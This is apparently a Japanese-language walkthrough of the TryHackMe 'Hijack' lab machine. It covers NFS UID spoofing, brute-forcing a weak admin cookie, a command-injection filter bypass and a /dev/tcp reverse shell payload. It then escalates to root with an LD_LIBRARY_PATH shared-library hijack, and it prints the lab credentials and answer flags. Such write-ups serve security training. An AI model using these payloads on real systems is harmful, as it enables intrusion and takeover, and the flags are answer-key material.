【TryHackMe】Hijack：Walkthrough

# 概要

TryHackMe「Hijack」のWalkthroughです。

https://tryhackme.com/r/room/hijack

# Task1

## **Q1**.*What is the user flag?*

ポートスキャンを実行します。

```
$ nmap -Pn -sC -sV -A -T4 -p- 10.10.20.152 -oN nmap_result
PORT      STATE SERVICE  VERSION
21/tcp    open  ftp      vsftpd 3.0.3
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 94:ee:e5:23:de:79:6a:8d:63:f0:48:b8:62:d9:d7:ab (RSA)
|   256 42:e9:55:1b:d3:f2:04:b6:43:b2:56:a3:23:46:72:c7 (ECDSA)
|_  256 27:46:f6:54:44:98:43:2a:f0:59:ba:e3:b6:73:d3:90 (ED25519)
80/tcp    open  http     Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Home
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100003  2,3,4       2049/udp   nfs
|   100003  2,3,4       2049/udp6  nfs
|   100005  3          54179/tcp6  mountd
|   100021  1,3,4      32999/udp   nlockmgr
|   100021  1,3,4      45721/tcp6  nlockmgr
|   100021  1,3,4      46650/tcp   nlockmgr
|   100021  1,3,4      53583/udp6  nlockmgr
|   100227  2,3         2049/tcp   nfs_acl
|   100227  2,3         2049/tcp6  nfs_acl
|   100227  2,3         2049/udp   nfs_acl
|_  100227  2,3         2049/udp6  nfs_acl
2049/tcp  open  nfs_acl  2-3 (RPC #100227)
44002/tcp open  mountd   1-3 (RPC #100005)
46650/tcp open  nlockmgr 1-4 (RPC #100021)
49957/tcp open  mountd   1-3 (RPC #100005)
53388/tcp open  mountd   1-3 (RPC #100005)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|21|ftp|vsftpd 3.0.3|
|22|ssh|OpenSSH 7.2p2|
|80|http|Apache httpd 2.4.18|
|111|rpcbind||
|2049|nfs_acl||

`80`番ポートでWebサイトにアクセスできました。

![home.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/fa1c59f8-6959-bdac-8d69-c95ab73a299b.jpeg)

ディレクトリ列挙を行います。

```
$ dirsearch -u http://10.10.20.152
[12:00:39] 200 -   51B  - /administration.php
[12:00:54] 200 -    0B  - /config.php
[12:01:19] 200 -  362B  - /login.php
[12:01:20] 302 -    0B  - /logout.php  ->  index.php
[12:01:45] 200 -  387B  - /signup.php
```

`/signup.php`でアカウント作成ができます。

![sign up.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/33a2200f-b46e-7e36-bf47-3c1b1fc640a5.jpeg)

`Username: test`,`Password: password`でアカウント作成をしましたが、悪用できそうな機能は見つかりませんでした。

![login test user.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/e9de4033-0956-3646-9076-7770c7adc58a.jpeg)

`111`,`2049`ポートがオープンしているのでHackTricksで調べるとテクニックが見つかりました。

https://book.hacktricks.xyz/network-services-pentesting/pentesting-rpcbind

https://book.hacktricks.xyz/v/jp/network-services-pentesting/nfs-service-pentesting

マウント可能なパスを列挙すると`/mnt/share`が見つかりました。

```
$ showmount -e 10.10.20.152
Export list for 10.10.20.152:
/mnt/share *
```

Kaliのフォルダにマウントします。

```
$ sudo mkdir /mnt/Hijack 
$ sudo mount -t nfs 10.10.20.152:/mnt/share /mnt/Hijack -o nolock
```

パーミッションを確認するとUID`1003`でアクセス可能でした。

```
$ sudo ls -la /mnt/      
drwx------  2 1003 1003 4096 Aug  8  2023 Hijack
```

UID`1003`のアカウントを作成します。

```
$ sudo useradd -u 1003 newuser
$ sudo passwd newuser
New password: 
Retype new password: 
passwd: password updated successfully
$ su newuser         
Password: 
$ id
uid=1003(newuser) gid=1003(newuser) groups=1003(newuser)
```

マウントしたファルダを確認すると`for_employees.txt`を見つけました。

```
newuser@kali:/home/kali/Hijack$ ls -la /mnt/Hijack/
total 12
drwx------ 2 newuser newuser 4096 Aug  8  2023 .
drwxr-xr-x 3 root    root    4096 Jul 26 12:28 ..
-rwx------ 1 newuser newuser   46 Aug  8  2023 for_employees.txt
```

中にはFTPのクレデンシャル情報が書かれていました。

```
newuser@kali:/home/kali/Hijack$ cat /mnt/Hijack/for_employees.txt 
ftp creds :
ftpuser:W3stV1rg1n14M0un741nM4m4
```

FTPに接続します。

```
$ ftp 10.10.20.152
Connected to 10.10.20.152.
220 (vsFTPd 3.0.3)
Name (10.10.20.152:kali): ftpuser
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

テキストファイルをいくつか発見しました。

```
ftp> ls -la
229 Entering Extended Passive Mode (|||28837|)
150 Here comes the directory listing.
drwxr-xr-x    2 1002     1002         4096 Aug 08  2023 .
drwxr-xr-x    2 1002     1002         4096 Aug 08  2023 ..
-rwxr-xr-x    1 1002     1002          220 Aug 08  2023 .bash_logout
-rwxr-xr-x    1 1002     1002         3771 Aug 08  2023 .bashrc
-rw-r--r--    1 1002     1002          368 Aug 08  2023 .from_admin.txt
-rw-r--r--    1 1002     1002         3150 Aug 08  2023 .passwords_list.txt
-rwxr-xr-x    1 1002     1002          655 Aug 08  2023 .profile
226 Directory send OK.
```

`.from_admin.txt`から
- `.passwords_list.txt`のどれかが`admin`のパスワードであること
- ブルートフォースのレート制限がかかっていること
- `rick`,`admin`というユーザーがいること

が分かりました。

```.from_admin.txt 
To all employees, this is "admin" speaking,
i came up with a safe list of passwords that you all can use on the site, these passwords don't appear on any wordlist i tested so far, so i encourage you to use them, even me i'm using one of those.

NOTE To rick : good job on limiting login attempts, it works like a charm, this will prevent any future brute forcing.
```

`.passwords_list.txt`はパスワードのリストになっています。

```.passwords_list.txt
Vxb38mSNN8wxqHxv6uMX
56J4Zw6cvz8qDvhCWCVy
qLnqTXydnY3ktstntLGu
N63nPUxDG2ZvrhZgP978

(省略)
```

実際にブルートフォースでログインを試行するとレート制限に引っ掛かります。

![rate limit.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/657da9b0-d40d-3b67-5454-8a0cceaa5c12.jpeg)

レート制限を回避して`admin`でログインをします。
`/login.php`のPOSTリクエストを確認するとレスポンスで文字列が返ってくることを確認できました。

![get cookie.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/c1b69678-2faa-f3ab-ae14-a916bb26f0ad.jpeg)

返ってきたCookieを`Base64`でデコードすると`<username>:hash`の形式であると分かりました。

![cookie base64 decode.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/80f7575b-eea3-2806-ca2e-bb508e3aff54.jpeg)

後半部分のハッシュ値を解析すると、`MD5`でハッシュ化されたアカウントのパスワードであることが分かりました。

```
$ john md5 --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
password         (?)
```

Cookieの値の構成をまとめると`base64 encode(<username>:md5(password))`になります。
なのでこの値形式でパスワードリストをブルートフォースでCookieにセットすれば管理者ページにアクセスできそうです。

Burpで`/administration.php`のペイロードを設定します。

![set payload.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/1b0d9d28-4bdf-2dc2-642b-e0066636ad95.jpeg)

`Payload processing`でペイロードのプロセスを設定します。

![set option.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/9d7651e4-4bea-664d-ce08-a22a2213d9fe.jpeg)

ブルートフォースを実行すると、レスポンスサイズが一つだけ違うリクエストを発見しました。

![login success.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/419fdc6a-9efe-2292-0330-6af72477c816.jpeg)

発見した値をCookieに設定し、 `/administration.php`にアクセスできました。

![accussess admin.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/ee0bc47e-4c43-601b-aa6f-437bda4802a9.jpeg)

サービスチェック機能があり、マシン上で動作しているサービスの起動を確認できます。

![service checker.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/f611a8c5-1435-520c-5514-e9164cfe8a83.jpeg)

コマンドインジェクションが出来そうなので`;`で区切るとコマンドインジェクションを検出したエラー文が出力されました。

![rce detect.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/32a6047d-c606-a190-acd3-a1296523fae6.jpeg)

検出をバイパスできる文字列を勘で探していると`&`のASCIIコードである`%26`で区切るとコマンドインジェクションに成功しました。

![rce success.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/1ec0d0ac-d304-2acd-814d-61ec0079927c.jpeg)

下記のパラメータを送信しリバースシェルを張ります。

```
service=http%26bash+-c+"sh%20-i%20%3E%26%20/dev/tcp/10.6.55.144/1234%200%3E%261"&submit=
```

`www-data`のシェルを取得できました。

```
$ nc -lvnp 1234                                           
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.20.152] 43016
sh: 0: can't access tty; job control turned off
$ ls
administration.php
config.php
index.php
login.php
logout.php
navbar.php
service_status.sh
signup.php
style.css
```

TTYを設定します。

```
$ python -c 'import pty; pty.spawn("/bin/sh")'
```

`config.php`を見るとDBの認証情報が見つかり、これでSSH接続できそうです。

```config.php
<?php
$servername = "localhost";
$username = "rick";
$password = "N3v3rG0nn4G1v3Y0uUp";
$dbname = "hijack";

// Create connection
$mysqli = new mysqli($servername, $username, $password, $dbname);

// Check connection
if ($mysqli->connect_error) {
  die("Connection failed: " . $mysqli->connect_error);
}
?>
```

`Username: rick`,`Password: N3v3rG0nn4G1v3Y0uUp`でSSH接続に成功しました。

```
$ ssh rick@10.10.20.152
```

`/home/rick/user.txt`からフラグを入手できます。

```/home/rick/user.txt 
THM{fdc8cd4cff2c19e0d1022e78481ddf36}
```

**A**.**THM{fdc8cd4cff2c19e0d1022e78481ddf36}**

## **Q2**.*What is the root flag?*

`sudo -l`で確認します。

```
$ sudo -l
[sudo] password for rick: 
Matching Defaults entries for rick on Hijack:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    env_keep+=LD_LIBRARY_PATH

User rick may run the following commands on Hijack:
    (root) /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2
```

`env_keep+=LD_LIBRARY_PATH`の項目に関する脆弱性以前TryHackMeで見たのでテクニックを探すと見つかりました。
下記サイトを基にコマンドを実行します。

https://book.hacktricks.xyz/v/jp/linux-hardening/privilege-escalation#ld_preload-and-ld_library_path

Kaliに`pe.c`を作成します。

```pe.c
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
```

ターゲットマシンで`pe.c`をダウンロードします。

```
$ cd /tmp
$ wget http://10.6.55.144/pe.c
```

コンパイルし、`sudo`でコマンドを実行するとrootシェルを取得できました。

```
$ gcc -o /tmp/libcrypt.so.1 -shared -fPIC pe.c
pe.c: In function ‘hijack’:
pe.c:8:1: warning: implicit declaration of function ‘setresuid’ [-Wimplicit-function-declaration]
 setresuid(0,0,0);
 ^
$ sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2
/usr/sbin/apache2: /tmp/libcrypt.so.1: no version information available (required by /usr/lib/x86_64-linux-gnu/libaprutil-1.so.0)
root@Hijack:/tmp# whoami
root
```

`/root/root.txt`からフラグを入手できます。

```/root/root.txt

██╗░░██╗██╗░░░░░██╗░█████╗░░█████╗░██╗░░██╗
██║░░██║██║░░░░░██║██╔══██╗██╔══██╗██║░██╔╝
███████║██║░░░░░██║███████║██║░░╚═╝█████═╝░
██╔══██║██║██╗░░██║██╔══██║██║░░██╗██╔═██╗░
██║░░██║██║╚█████╔╝██║░░██║╚█████╔╝██║░╚██╗
╚═╝░░╚═╝╚═╝░╚════╝░╚═╝░░╚═╝░╚════╝░╚═╝░░╚═╝

THM{b91ea3e8285157eaf173d88d0a73ed5a}
```

**A**.**THM{b91ea3e8285157eaf173d88d0a73ed5a}**